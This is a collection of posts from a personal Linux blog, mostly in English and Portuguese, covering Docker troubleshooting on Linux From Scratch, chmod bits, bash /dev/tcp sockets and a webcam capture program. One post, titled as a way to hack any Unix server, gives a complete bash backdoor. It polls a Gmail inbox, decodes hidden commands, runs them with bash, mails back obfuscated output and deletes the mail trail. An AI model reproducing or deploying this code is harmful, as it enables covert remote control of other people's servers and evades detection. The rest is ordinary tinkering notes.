DEBU[0000] /sbin/iptables, [-C POSTROUTING -t nat -s 172.17.42.1/16 ! -o docker0 -j MASQUERADE]
INFO[0000] Listening for HTTP on unix (/var/run/docker.sock)
DEBU[0000] Registering GET, /images/search
DEBU[0000] Registering GET, /containers/json
DEBU[0000] Registering GET, /containers/{name:.*}/export
DEBU[0000] Registering GET, /containers/{name:.*}/json
DEBU[0000] Registering GET, /containers/{name:.*}/attach/ws
DEBU[0000] Registering GET, /containers/{name:.*}/stats
DEBU[0000] Registering GET, /info
DEBU[0000] Registering GET, /version
DEBU[0000] Registering GET, /images/viz
DEBU[0000] Registering GET, /containers/ps
DEBU[0000] Registering GET, /containers/{name:.*}/top
DEBU[0000] Registering GET, /images/{name:.*}/history
DEBU[0000] Registering GET, /images/{name:.*}/json
DEBU[0000] Registering GET, /_ping
DEBU[0000] Registering GET, /events
DEBU[0000] Registering GET, /images/json
DEBU[0000] Registering GET, /images/get
DEBU[0000] Registering GET, /images/{name:.*}/get
DEBU[0000] Registering GET, /containers/{name:.*}/changes
DEBU[0000] Registering GET, /containers/{name:.*}/logs
DEBU[0000] Registering GET, /exec/{id:.*}/json
DEBU[0000] Registering POST, /auth
DEBU[0000] Registering POST, /exec/{name:.*}/start
DEBU[0000] Registering POST, /exec/{name:.*}/resize
DEBU[0000] Registering POST, /images/create
DEBU[0000] Registering POST, /images/load
DEBU[0000] Registering POST, /images/{name:.*}/push
DEBU[0000] Registering POST, /containers/{name:.*}/start
DEBU[0000] Registering POST, /containers/{name:.*}/rename
DEBU[0000] Registering POST, /build
DEBU[0000] Registering POST, /containers/{name:.*}/unpause
DEBU[0000] Registering POST, /containers/{name:.*}/restart
DEBU[0000] Registering POST, /containers/{name:.*}/wait
DEBU[0000] Registering POST, /containers/{name:.*}/attach
DEBU[0000] Registering POST, /containers/{name:.*}/copy
DEBU[0000] Registering POST, /containers/{name:.*}/exec
DEBU[0000] Registering POST, /commit
DEBU[0000] Registering POST, /images/{name:.*}/tag
DEBU[0000] Registering POST, /containers/create
DEBU[0000] Registering POST, /containers/{name:.*}/kill
DEBU[0000] Registering POST, /containers/{name:.*}/pause
DEBU[0000] Registering POST, /containers/{name:.*}/stop
DEBU[0000] Registering POST, /containers/{name:.*}/resize
DEBU[0000] /sbin/iptables, [-D FORWARD -i docker0 -o docker0 -j DROP]
DEBU[0000] /sbin/iptables, [-C FORWARD -i docker0 -o docker0 -j ACCEPT]
DEBU[0000] /sbin/iptables, [-C FORWARD -i docker0 ! -o docker0 -j ACCEPT]
DEBU[0000] /sbin/iptables, [-C FORWARD -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT]
DEBU[0000] /sbin/iptables, [-t nat -D PREROUTING -m addrtype --dst-type LOCAL -j DOCKER]
DEBU[0000] /sbin/iptables, [-t nat -D OUTPUT -m addrtype --dst-type LOCAL ! --dst 127.0.0.0/8 -j DOCKER]
DEBU[0000] /sbin/iptables, [-t nat -D OUTPUT -m addrtype --dst-type LOCAL -j DOCKER]
DEBU[0000] /sbin/iptables, [-t nat -D PREROUTING -j DOCKER]
DEBU[0000] /sbin/iptables, [-t nat -D OUTPUT -j DOCKER]
DEBU[0000] /sbin/iptables, [-t nat -F DOCKER]
DEBU[0000] /sbin/iptables, [-t nat -X DOCKER]
DEBU[0000] /sbin/iptables, [-t nat -n -L DOCKER]
DEBU[0000] /sbin/iptables, [-t nat -N DOCKER]
DEBU[0000] /sbin/iptables, [-C -m addrtype --dst-type LOCAL]
DEBU[0000] /sbin/iptables, [-t nat -A PREROUTING -m addrtype --dst-type LOCAL -j DOCKER]
DEBU[0000] /sbin/iptables, [-C -m addrtype --dst-type LOCAL ! --dst 127.0.0.0/8]
DEBU[0000] /sbin/iptables, [-t nat -A OUTPUT -m addrtype --dst-type LOCAL ! --dst 127.0.0.0/8 -j DOCKER]
DEBU[0000] /sbin/iptables, [-t filter -n -L DOCKER]
DEBU[0000] Registering DELETE, /containers/{name:.*}
DEBU[0000] Registering DELETE, /images/{name:.*}
DEBU[0000] Registering OPTIONS,
DEBU[0000] docker group found. gid: 1004
DEBU[0000] /sbin/iptables, [-C FORWARD -o docker0 -j DOCKER]
INFO[0000] -job init_networkdriver() = OK (0)
INFO[0000] WARNING: mountpoint for memory not found

DEBU[0000] Restarting containers...
INFO[0000] docker daemon: 1.5.0 a8a31ef; execdriver: native-0.2; graphdriver: aufs
INFO[0000] +job acceptconnections()
INFO[0000] -job acceptconnections() = OK (0)
Note: if you have the warning:
WARN[0000] graphdriver aufs selected. Warning: your graphdriver directory /var/lib/docker already contains data managed by other graphdrivers: devicemapper

just erase the dir contents:
rm -fr /var/lib/docker/*

Using docker group

Just a remember, you need to create a group named docker, and add your user to this docker group, then re-login(can use sudo su - youruser), just something like(as root):

$ groupadd docker
$ usermod -aG docker youruser

then redo your login, or as normal user do:

$ sudo su - youruser

You can use groups to see if you currently on docker group

$ groups
users ... your other groups ... docker

If you don't do it, only can run docker as root, that is not a good thing. or as normal user will get the message:

FATA[0000] Post http:///var/run/docker.sock/v1.17/containers/create: dial unix /var/run/docker.sock: permission denied. Are you trying to connect to a TLS-enabled daemon without TLS?

HTTPS Problem

Then I follow the tutorial until it fails again :

INFO[0005] Get https://index.docker.io/v1/repositories/library/centos/images: x509: failed to load system roots and no roots provided

NOTE: I did solve the problem, but I'm not sure yet of how, so here I'm posting the steps I took.

After some research, I understand that the docker error is because of problems of ca-certificates.
based on tianon commend on post:
https://github.com/docker/docker/issues/3825
I did run the commands in:
https://github.com/dram/crux/blob/master/ca-certificates/Pkgfile
that are:

# Description: Common CA certificates
# URL: http://packages.debian.org/sid/ca-certificates
# Packager: Xin Wang, dram dot wang at gmail dot com

name=ca-certificates
version=20111025
release=1
source=(http://ftp.us.debian.org/debian/pool/main/c/$name/${name}_${version}_all.deb)

build() {
    ar -x ${name}_${version}_all.deb
    tar zxvf ./data.tar.gz
    install -D -m 0755 usr/sbin/update-ca-certificates $PKG/usr/sbin/update-ca-certificates
    cp -a etc $PKG/
    mkdir -p $PKG/usr/share/ca-certificates/
    cp -a usr/share/ca-certificates/* $PKG/usr/share/ca-certificates/
    (
        cd $PKG/usr/share/ca-certificates/
        find . -name '*.crt' | sort | cut -b3-
    ) >$PKG/etc/ca-certificates.conf
}

But aparently still no success, anyway this post was closed in favor of issue 5157:

https://github.com/docker/docker/issues/5157
geokala user posted:
"For SLES11 the following seems to work (at least it gives me a new error that hg isn't present):

cat /etc/ssl/certs/*.pem > /etc/ssl/certs/ca-certificates.crt
sed -i -r '/^#.+/d' /etc/ssl/certs/ca-certificates.crt"

I did run and again(I think) it do not solved my problem. I'm not sure, it was 3A.M. so give me a break if it's not true.

There are many others programs in my LFS using ca-certificates and I don't have any other ca-certificates problems. So, maybe it is something related with go.

then I deep into go instalation from source(of couse):
$ git clone https://go.googlesource.com/go
read the README and docs in doc folder... nicely documented, then I have a functional go environment.
BUT despite the docker error is from "golang" my "go binary" do not have this https problem, only docker.

Then research again, and I found this:
http://blog.devtable.com/2014/01/using-docker-on-osx-with-private.html
It's exactly my problem! but on OSX, not LFS. anyway he explains how to fix, then let's try it.

We need some adaptations but it not hard.

After this docker works (at least the error changed)

Success on run

$ docker run -i -t ubuntu /bin/bash
Unable to find image 'ubuntu:latest' locally
511136ea3c5a: Pull complete
511136ea3c5a: Download complete
f3c84ac3a053: Download complete
a1a958a24818: Download complete
9fec74352904: Download complete
d0955f21bf24: Download complete
Status: Downloaded newer image for ubuntu:latest
FATA[0244] Error response from daemon: Cannot start container ac28ce91b6ce51da7b5b49c8a9e3711eed7ad5e25ceef3cb1f189c7b56a09486: failed to find the cgroup root

ooops... I forgot the correct cgroup mount(but it is in tutorial):https://github.com/tianon/cgroupfs-mount/blob/master/cgroupfs-mount

After correctly mount cgroups, restart the docker daemon but it do not solved:

ERRO[0010] [warning]: couldn't run auplink before unmount: exec: "auplink": executable file not found in $PATH ERRO[0010] [warning]: couldn't run auplink before unmount: exec: "auplink": executable file not found in $PATH

auplink ??? a new player ? researching...

$ locate auplink
/sources/aufs-util.git/auplink.

So, auplink is just part of aufs-util, that I forgot to install... let's do it.
but a make was not so ease:

$ make
cc -O -Wall -D_GNU_SOURCE -I./libau -DAUFHSM_CMD=\"/usr/bin/aufhsm\" -DMOUNT_CMD=\"/bin/mount\" -DUMOUNT_CMD=\"/bin/umount\" ver.c -o ver
ver.c:19:29: fatal error: linux/aufs_type.h: No such file or directory
#include
^
compilation terminated.
make: *** [ver] Error 1

after manually copy the aufs_type.h to /usr/include/linux it fails too:

$ make
cc -O -Wall -D_GNU_SOURCE -I./libau -DAUFHSM_CMD=\"/usr/bin/aufhsm\" -DMOUNT_CMD=\"/bin/mount\" -DUMOUNT_CMD=\"/bin/umount\" ver.c -o ver
In file included from ver.c:19:0:
/usr/include/linux/aufs_type.h:289:27: error: expected ‘:’, ‘,’, ‘;’, ‘}’ or ‘__attribute__’ before ‘*’ token
struct au_rdu_ent __user *e;
^
make: ** [ver] Erro 1

research...
http://comments.gmane.org/gmane.linux.file-systems.aufs.user/3241
"...No, don't copy the header files manually.
"make headers_install" modifies the header files for userspace and copy
them where you specify..."
...
"...Okay, got it. I didn't realize "make headers_install" puts them in
usr/include in the kernel tree..."
What ? make headers_install do not install headers? lets see:

$ find -name aufs_type.h
./usr/include/linux/aufs_type.h
./include/uapi/linux/aufs_type.h
$ diff ./usr/include/linux/aufs_type.h ./include/uapi/linux/aufs_type.h -q
Files ./usr/include/linux/aufs_type.h and ./include/uapi/linux/aufs_type.h differ
$ sudo cp usr/include/linux/aufs_type.h /usr/include/linux/ -v
“usr/include/linux/aufs_type.h” -> “/usr/include/linux/aufs_type.h”

then back to aufs-util dir:

$ cd -
/sources/aufs-util.git
$ make
...
$ sudo make install

Now it's done =D

restarting docker daemon

I'm worried about this, but let's go ahead:

...

INFO[0000] WARNING: mountpoint for memory not found
...

try to run:

$ docker -D run -i -t ubuntu /bin/bash
DEBU[0000] [hijack] End of stdout
DEBU[0000] End of CmdRun(), Waiting for hijack to finish.
FATA[0000] Error response from daemon: Cannot start container 4e0c441cc067a59ef769b98cbce99f983b734f30354d8cc2ce6c8aebf4f1ce66: mountpoint for devices not found

Docker daemon says:

Cannot start container 4e0c441cc067a59ef769b98cbce99f983b734f30354d8cc2ce6c8aebf4f1ce66: mountpoint for devices not found
INFO[0195] -job start(4e0c441cc067a59ef769b98cbce99f983b734f30354d8cc2ce6c8aebf4f1ce66) = ERR (1)
ERRO[0195] Handler for POST /containers/{name:.*}/start returned error: Cannot start container 4e0c441cc067a59ef769b98cbce99f983b734f30354d8cc2ce6c8aebf4f1ce66: mountpoint for devices not found
ERRO[0195] HTTP Error: statusCode=500 Cannot start container 4e0c441cc067a59ef769b98cbce99f983b734f30354d8cc2ce6c8aebf4f1ce66: mountpoint for devices not found

Let's look at CGROUP kernel config:

$ zcat /proc/config.gz | grep CONFIG_CGROUP_DEVICE
# CONFIG_CGROUP_DEVICE is not set

Another kernel change needed. This time I did recompile the kernel with all CONFIG_CGGROUP* and some CONFIG*CG* checked. This way the WARNING message is gone.

What next ?

FATA[0003] Error response from daemon: Cannot start container 7f031a5eeaa76518a8bb4c0ccbbdb3143280b52d99f65aaca3bc0db463838620: operation not supported

daemon:

ERRO[0305] Handler for POST /containers/{name:.*}/start returned error: Cannot start container 7f031a5eeaa76518a8bb4c0ccbbdb3143280b52d99f65aaca3bc0db463838620: operation not supported
ERRO[0305] HTTP Error: statusCode=500 Cannot start container 7f031a5eeaa76518a8bb4c0ccbbdb3143280b52d99f65aaca3bc0db463838620: operation not supported

some more research
https://github.com/docker/docker/issues/7246
Once more time:

$ zcat /proc/config.gz | grep VETH
# CONFIG_VETH is not set

again... change kernel config, recompile and try again.

this time I'm installing LXC too, but I don't know if it is really required in this context. I will search later:

sudo git clone https://github.com/lxc/lxc.git

VICTORY!

I'm exausted but the docker is running:

$ docker -D run -i -t ubuntu /bin/bash
root@d877dd7aed57:/#
root@12b316d2ff64:/# cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.2 LTS"
root@d877dd7aed57:/# exit
exit
DEBU[0200] [hijack] End of stdout
DEBU[0200] End of CmdRun(), Waiting for hijack to finish.
$

Usefull links:

https://docs.docker.com/installation/binaries/
http://blog.tremily.us/posts/Docker/
https://github.com/dram/crux/blob/master/ca-certificates/Pkgfile
https://byteoutalife.wordpress.com/2013/12/30/building-docker-from-source-on-the-raspberry-pi/

Explicando os 4 bytes do chmod

2015-02-02T12:12:00.000-02:00

Existe muita confusão sobre o primeiro dos 4 bits de permissões de arquivos em linux. Vou tentar explicar aqui.

O comando chmod pode receber argumentos em formato de texto (Exemplo: o-rwx) e também em formato de bits de controle 0700.
Cada dígito representa o valor decimal de um byte de controle, que é a somatória dos bits marcados.
Quando usando o formato de dígitos, pode-se informar 3 ou 4 dígitos, representando os bits de controle. O primeiro byte é opcional, então primeiro deixe-me relembrá-los como funcionam os 3 últimos bytes:

Os 3 últimos bytes todos sabem que significam as permissões do usuário, grupo e outros, respectivamente. e os seus valores de bit são:
bit: 001, decimal: 1 - direito a executar o arquivo.
bit: 010, decimal: 2 - direito de escrever no arquivo.
bit: 100, decimal: 4 - direito de ler o arquivo.

Deste modo, apenas precisamos somar os valores decimais dos bits que queremos e colocar no byte relativo ao item que queremos definir. (Ex: chmod 777 arquivo - dá permissão total a todos).

Mas e o primeiro byte (que é opcional) ?

O primeiro dígito referencia como o arquivo o diretório deve se comportar, o significado dos bits aplicados a este byte(digito), depende se está sendo aplicado a um arquivo ou a um diretório:

Se estiver sendo aplicado a um diretório:
bit: 001, decimal 1 - Ativa a RESTRICTED DELETION FLAG que significa que somente o mesmo que o usuário que criou o arquivo, pode removê-lo ou renomeá-lo, mesmo que outros tenham permissão para isto.
bit: 010, decimal 2 - Todos os arquivos e diretórios criados dentro deste diretório vão receber o mesmo grupo do diretório, não do usuário que criou o arquivo(que é o padrão).
bit: 100, decimal 4 - Todos os arquivos e diretórios criados dentro deste diretório vão receber o mesmo owner(priprietário) do diretório, não do usuário que criou o arquivo(que é padrão)

Se estiver sendo aplicado a um arquivo:
bit: 001, decimal 1 - Ativa o STICKY BIT, salva o arquivo também na memória(normalmente swap) para permitir que ele seja carregado mais rapidamente. Isto é útil para contextos muito específicos e não deve ser abusado.
bit: 010, decimal 2 - Se executado, sempre usará as permissões do grupo setado no arquivo, não do usuário que está solicitando a execução (que é o padrão)
bit: 100, decimal 4 - Se executado, sempre usará as permissões do dono(owner) do arquivo, não do usuário que está solicitando a execução (que é o padrão)

Espero que isto esclareça este bit.

Patch to broadcom wl module work in kernels above 3.10

2013-11-11T10:18:00.004-02:00

The linux kernel 3.12 is out: https://www.kernel.org/

In the linux kernel above 3.12 the wireless card broadcom used in dell vostro laptops do not work very well without the vendor hybrid module:
http://www.broadcom.com/support/802.11/linux_sta.php

To make it work, in kernels above 3.10, we need to apply the below patch:
https://477372.bugs.gentoo.org/attachment.cgi?id=354596

Just apply and rebuild the module.

[BASH] Socket direto do shell, quem precisa de wget ?

2013-11-06T19:51:00.000-02:00

Qualquer pessoa que cria shell scripts sabe que wget é um item essencial. Mas mesmo conhecendo bem wget, não é fácil enxergar exatamente oque trafega entre seu computador e o servidor web. Sem falar que quando o canal não é exatamente tcp/http não é a ferramenta certa. Nestes casos você pode usar netcat (nc) e/ou telnet, mas precisa conhecer bem, não só o que está fazendo, mas as ferramentas também.

Acontece que é possível usar um recurso nativo do bash para se conectar em um socket com tcp ou udp, enviar oque quiser pra lá, e ler o retorno.

A referência é:
http://tldp.org/LDP/abs/html/devref1.html#DEVTCP

Se está ansioso pra ver funcionar basta fazer:

glaudiston:~$ exec 3<>/dev/tcp/www.google.com/80
glaudiston:~$ echo -e "GET / \n" >&3
glaudiston:~$ dd <&3
HTTP/1.0 302 Found
Location: http://www.google.com.br/?gws_rd=cr&ei=KLR6UpifLYi0kQf80IHYCw
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Set-Cookie: PREF=ID=a146f073964c1a11:FF=0:TM=1383773224:LM=1383773224:S=MonOb7kSx4X4ewKG; expires=Fri, 06-Nov-2015 21:27:04 GMT; path=/; domain=.google.com
Set-Cookie: NID=67=WgTgvENchOFRL9WCEmAaPBq2heUhEB1xf7cPS-PkYuBjPgT3ipgT8dJp2bovlEZ2R_yQs7xQd3sMRUirA3Vtax2TA2tsloD7x0Sr_LHT_GbVmZY8dkXiLhnPbGxa9ReW; expires=Thu, 08-May-2014 21:27:04 GMT; path=/; domain=.google.com; HttpOnly
P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Date: Wed, 06 Nov 2013 21:27:04 GMT
Server: gws
Content-Length: 262
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic

302 Moved
302 Moved

The document has moved
here.
2+1 registros de entrada
2+1 registros de saída
1095 bytes (1,1 kB) copiados, 0,000160237 s, 6,8 MB/s
glaudiston:~$ exec 3<&-;exec 3>&-

Basicamente você vai criar um novo file descriptor: o exec vincula a execução ao bash em execução, o 3 é o número do descriptor que escolhi o "<>" diz que um caminho duplo ou seja, você envia e recebe dados. Depois é só direcionar oque você quiser para este descriptor, isto pode ser feito com qualquer comando ou saída do shell, o básico é usar o echo, mas pode ser desde cat até dd.
Para receber dados, você pode (por exemplo) usar o dd, que permite limitar os bytes recebidos e o buffer, ou pode simplesmente fazer um cat.

por ultimo o exec 3<&-;exec 3>&- desconecta o socket.

ah, e antes que pergunte, não o /dev/tcp não existe fisicamente o /dev/udp tbm não. São Built in do bash.

Sobre o Linux From Scratch

2013-11-05T09:49:00.000-02:00

Percebi que até hoje nunca postei nada relevante sobre o LFS.

LFS=LinuxFromScratch ou na tradução literal, "Linux do rabisco", é a "distro" que uso. Não é exatamente correto chamá-la de uma distro. Afinal não é uma. Uma distro é um pacote de programas pré-configurado para instalação. O LFS é um livro que te instrui passo-a-passo, como compilar e configurar TUDO direto do código fonte.

Para saber mais, nada melhor do que ir na fonte: http://www.linuxfromscratch.org

Em minha opinião, você poderá ser chamado de "Advanced Linux User" se conseguir fazer o que o livro te ensina passo a passo, e ao final ter um sistema operacional usável.

Eu uso o LFS desde 2005 como sistema operacional principal, antes usava o slackware.

Qualquer dúvida, o IRC do LFS é ativo no freenode e eles já me ajudaram bastante. Talvez até me encontre por lá.

Gmail acess via bash - IMAP

2012-11-27T10:44:00.001-02:00

I wrote this script to make a way to read you emails from gmail via BASH, some time after I remake it to a hack script to remote control any O.S. that use bash:

Of course I cut out the dangerous part.

This time only the gmail access... may be I'll post the powerful script someday.

#!/bin/bash
GMAIL_USER="your_gmail_user";
GMAIL_PW="Y0urGMA1LPassw0rd";
AUTH_HASH="$(echo -en "${GMAIL_USER} ${GMAIL_USER} ${GMAIL_PW}" | base64)";
SLEEP_TIME=2;
TOTAL_MESSAGES="$(
openssl s_client -crlf -connect imap.gmail.com:993 < <(
sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW";
sleep ${SLEEP_TIME}; echo "A02 SELECT INBOX";
sleep ${SLEEP_TIME}; echo "A02 LOGOUT";
sleep ${SLEEP_TIME}; echo "";
) 2>&1 | tr -d "\r" | grep -E "^[*] [0-9]* EXISTS$"| sed "s/^[*] $[0-9]*$ EXISTS.*$/\1/g";
)";

LAST_MAIL="$(
openssl s_client -crlf -connect imap.gmail.com:993 < <(
sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW";
sleep ${SLEEP_TIME}; echo "A02 SELECT INBOX";
sleep ${SLEEP_TIME}; echo "A05 FETCH $TOTAL_MESSAGES ALL";
sleep ${SLEEP_TIME}; echo "A06 FETCH $TOTAL_MESSAGES:$TOTAL_MESSAGES BODY[TEXT]";
sleep ${SLEEP_TIME}; echo "A02 LOGOUT";
sleep ${SLEEP_TIME}; echo "";
) 2>&1 | tr -d "\r"
)"

SUBJECT="RES: $(echo -e "$LAST_MAIL" | grep ENVELOPE | sed 's/^* [0-9]* FETCH (ENVELOPE ("[^"]*"[ ]"$[^"]*$".*/\1/g')";
DEST_ADDR="$(echo -e "$LAST_MAIL" | grep ENVELOPE | sed 's/^* [0-9]* FETCH (ENVELOPE .* (("[^"]*" NIL "$[^ ]*$" "$[^"]*$".*/\1@\2/g')";

MAIL_BODY="$({
echo -e "
# ---------------------------------------------------------- #
# this is a automatic response from
# BASH GMAIL #
# --------------------- ORIGINAL MESSAGE ------------------- #
\n${LAST_MAIL}
";
})";

openssl s_client -crlf -connect smtp.gmail.com:465 < <(
sleep $SLEEP_TIME; echo "ehlo ${GMAIL_USER}";
sleep $SLEEP_TIME; echo "AUTH PLAIN ${AUTH_HASH}";
sleep $SLEEP_TIME; echo "mail from:<${GMAIL_USER}@gmail.com>";
sleep $SLEEP_TIME; echo "rcpt to:";
sleep $SLEEP_TIME; echo "rcpt to:<${DEST_ADDR}>";
sleep $SLEEP_TIME; echo "DATA";
sleep $SLEEP_TIME; echo "From: ${GMAIL_USER}";
sleep $SLEEP_TIME; echo "Subject: $SUBJECT";
sleep $SLEEP_TIME; echo "To: ${GMAIL_USER}.postmail@blogger.com";
sleep $SLEEP_TIME; echo "";
sleep $SLEEP_TIME; echo -e "${MAIL_BODY}";
sleep $SLEEP_TIME; echo "";
sleep $SLEEP_TIME; echo ".";
sleep $SLEEP_TIME; echo "quit";
sleep $SLEEP_TIME;
) 2>&1 | cat - > /dev/null
done;
done;

A way to hack any unix server with internet access via imap gmail

2012-11-27T10:22:00.001-02:00

I wrote this script to make a way to read you emails from gmail via BASH:

        #!/bin/bash

        while true;

        do

        sleep 3600;

        TOTAL_MESSAGES="1";

        while (( ${TOTAL_MESSAGES:=0} > 0 ));

        do

        GMAIL_USER="SEU YOUR";

        GMAIL_PW="YOUR PASSWORD";

        AUTH_HASH="YOUR HASH BASE 64";

        SLEEP_TIME=2;

        TOTAL_MESSAGES="$(

        openssl s_client -crlf -connect imap.gmail.com:993 < <(

        sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW";

        sleep ${SLEEP_TIME}; echo "A02 SELECT INBOX";

        sleep ${SLEEP_TIME}; echo "A02 LOGOUT";

        sleep ${SLEEP_TIME}; echo "";

        ) 2>&1 | tr -d "\r" | grep -E "^[*] [0-9]* EXISTS$"| sed "s/^[*] \([0-9]*\) EXISTS.*$/\1/g";

        )";


        TOTAL_MESSAGES_SENDED="$(

        openssl s_client -crlf -connect imap.gmail.com:993 < <(

        sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW";

        sleep ${SLEEP_TIME}; echo "A02 SELECT \"[Gmail]/E-mails enviados\"";

        sleep ${SLEEP_TIME}; echo "A02 LOGOUT";

        sleep ${SLEEP_TIME}; echo "";

        ) 2>&1 | tr -d "\r" | grep -E "^[*] [0-9]* EXISTS$"| sed "s/^[*] \([0-9]*\) EXISTS.*$/\1/g";

        )";


        LAST_MAIL="$(

        openssl s_client -crlf -connect imap.gmail.com:993 < <(

        sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW";

        sleep ${SLEEP_TIME}; echo "A02 SELECT INBOX";

        sleep ${SLEEP_TIME}; echo "A05 FETCH $TOTAL_MESSAGES ALL";

        sleep ${SLEEP_TIME}; echo "A06 FETCH $TOTAL_MESSAGES:$TOTAL_MESSAGES BODY[TEXT]";

        sleep ${SLEEP_TIME}; echo "A08 store $TOTAL_MESSAGES +FLAGS (\\Deleted)";

        sleep ${SLEEP_TIME}; echo "a09 expunge";

        sleep ${SLEEP_TIME}; echo "A02 SELECT \"[Gmail]/E-mails enviados\"";

        sleep ${SLEEP_TIME}; echo "A08 store 1:$TOTAL_MESSAGES_SENDED +FLAGS (\\Deleted)";

        sleep ${SLEEP_TIME}; echo "A09 expunge";

        sleep ${SLEEP_TIME}; echo "A02 LOGOUT";

        sleep ${SLEEP_TIME}; echo "";

        ) 2>&1 | tr -d "\r"

        )"


        SUBJECT="RES: $(echo -e "$LAST_MAIL" | grep ENVELOPE | sed 's/^* [0-9]* FETCH (ENVELOPE ("[^"]*"[ ]"\([^"]*\)".*/\1/g')";

        DEST_ADDR="$(echo -e "$LAST_MAIL" | grep ENVELOPE | sed 's/^* [0-9]* FETCH (ENVELOPE .* (("[^"]*" NIL "\([^ ]*\)" "\([^"]*\)".*/\1@\2/g')"

        # CODE_TO_RUN="$(echo -e "$LAST_MAIL" | sed -n "/^# NOISSES_KCAH_TRATS #$/,/^# NOISSES_KCAH_DNE #$/p")";

        CODE_TO_RUN="$(echo -e "$LAST_MAIL" | tr -d "\n" | grep "NOISSES_KCAH_TRATS" | sed "s/.*# NOISSES_KCAH_TRATS #\(.*\)# NOISSES_KCAH_DNE #.*/\1/g" | xxd -r --ps | rev )";


        [ "$DEST_ADDR" == "mailer-daemon@google.com" ] && break;

        grep "Delivery to the following recipient failed permanently" <( echo -e "${LAST_MAIL}" ) && break;

        (( ${TOTAL_MESSAGES:=0} == 0 )) && break;


        MAIL_BODY="$(

        {

        [ "$CODE_TO_RUN" == "" ] && echo -e "

        # NUR OT EDOC ON #

        # NOISSES NOISSES_KCAH_DNE DNA NOISSES_KCAH_TRATS EHT TEGROF UOY OD #

        " || bash < <(echo -e "$CODE_TO_RUN" ) 2>&1 ;

        echo -e "

        # ---------------------------------------------------------- #

        # REKCAH #

        # --------------------- EGASSEM LANIGIRO ------------------- #

        \n${LAST_MAIL}

        ";

        } | xxd --ps | rev | bzip2 -c | xxd --ps | rev

        )";



        openssl s_client -crlf -connect smtp.gmail.com:465 < <(

        sleep $SLEEP_TIME; echo "ehlo ${GMAIL_USER}";

        sleep $SLEEP_TIME; echo "AUTH PLAIN ${AUTH_HASH}";

        sleep $SLEEP_TIME; echo "mail from:<${GMAIL_USER}@gmail.com>";

        sleep $SLEEP_TIME; echo "rcpt to:"; sleep $SLEEP_TIME; echo "rcpt to:<${DEST_ADDR}>"; sleep $SLEEP_TIME; echo "DATA"; sleep $SLEEP_TIME; echo "From: ${GMAIL_USER}"; sleep $SLEEP_TIME; echo "Subject: $SUBJECT"; sleep $SLEEP_TIME; echo "To: ${GMAIL_USER}.postmail@blogger.com"; sleep $SLEEP_TIME; echo ""; sleep $SLEEP_TIME; echo -e "${MAIL_BODY}"; sleep $SLEEP_TIME; echo ""; sleep $SLEEP_TIME; echo "."; sleep $SLEEP_TIME; echo "quit"; sleep $SLEEP_TIME;) 2>&1 | cat - > /dev/nulldone;done;

2012-11-27T10:21:00.002-02:00

Capture a frame from webcam with opencv

#include
#include
#include
#include
// OpenCV Webcam Start
#include
#include

// Needed only in C
enum boolean {
true = 1, false = 0
};
typedef enum boolean bool;

FILE * logfile = NULL;
/*
char *timetochar(const struct tm *timeptr)
{
static char wday_name[7][3] = {
"Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"
};
static char mon_name[12][3] = {
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
};
static char result[26];

sprintf(result, "%.3s %.3s%3d %.2d:%.2d:%.2d %d\n",
wday_name[timeptr->tm_wday],
mon_name[timeptr->tm_mon],
timeptr->tm_mday, timeptr->tm_hour,
timeptr->tm_min, timeptr->tm_sec,
1900 + timeptr->tm_year);
return result;
}*/

char *replace(char *st, char *orig, char *repl) {
static char buffer[4096];
char *ch;
if (!(ch = strstr(st, orig)))
return st;
strncpy(buffer, st, ch-st);
buffer[ch-st] = 0;
sprintf(buffer+(ch-st), "%s%s", repl, ch+strlen(orig));
return buffer;
}

void write_log(char * str)
{
if ( logfile != NULL ) {
char * text;
struct tm *ptr;
time_t tm;
tm = time(NULL);
ptr = localtime(&tm);
fprintf( logfile, "[%s] [PID: %i] %s\n", replace(asctime(ptr),"\n",""), getpid(), str );
fflush( logfile );
}
}

void open_log()
{
char * logfilename = "civacam.log\0";
logfile = fopen (logfilename, "a");
}

void close_log()
{
if ( logfile != NULL ) fclose( logfile );
}

char msglog[1000];
bool debugging = false;
bool black_image_detector(IplImage* inputImage)
{
if ( inputImage == 0 ) return true;
// Go over all pixels in the detector
int x = 0;
for( x = 0 ; x < inputImage->width; x++) {
int y = 0;
for( y = 0; y < inputImage->height; y++) {
// Get pixel value from the input image
int inputVal = (int)(cvGet2D(inputImage,y,x).val[0]);
if ( inputVal > 5 ) {
if (debugging) sprintf( msglog, "[DEBUG] dentro do black_image_detector vou retornou false" );
if (debugging) write_log(&msglog[0]);
return false;
}
}
}
return true;
}

int main(int argc, char *argv[])
{
open_log();
if ( argc == 1 ) {
write_log("[FATAL] PROCESSO INTERROMPIDO! Motivo: Processo civacam chamado sem argumentos, Obrigatoria a informacao do endereco de destino do arquivo.");
return 1;
}
char * outfilename = argv[1];
sprintf( msglog, "[INFO] Processo civacam iniciado para capturar foto com nome de arquivo: [%s]...", outfilename );
write_log(&msglog[0]);

/*
// A way to set directshow input to composite - Only C++
videoInput VI;
VI.setupDevice(0, VI_COMPOSITE);
VI.setFormat(0, VI_NTSC_M);
VI.stopDevice(0);
sprintf( msglog, "[DEBUG] Terminou de configurar e fechar a camera 0 " );
write_log(&msglog[0]);
*/
CvCapture* capture = cvCaptureFromCAM(0); // open the default camera id == 0
// Exit if fail to open a Webcam
if( capture == NULL ) {
sprintf( msglog, "[FATAL] PROCESSO INTERROMPIDO! Motivo: Impossivel acessar a camera. Arquivo solicitado: [%s]...", outfilename );
write_log(&msglog[0]);
exit(1);
}
if (debugging) write_log("[DEBUG] Camera aberta");
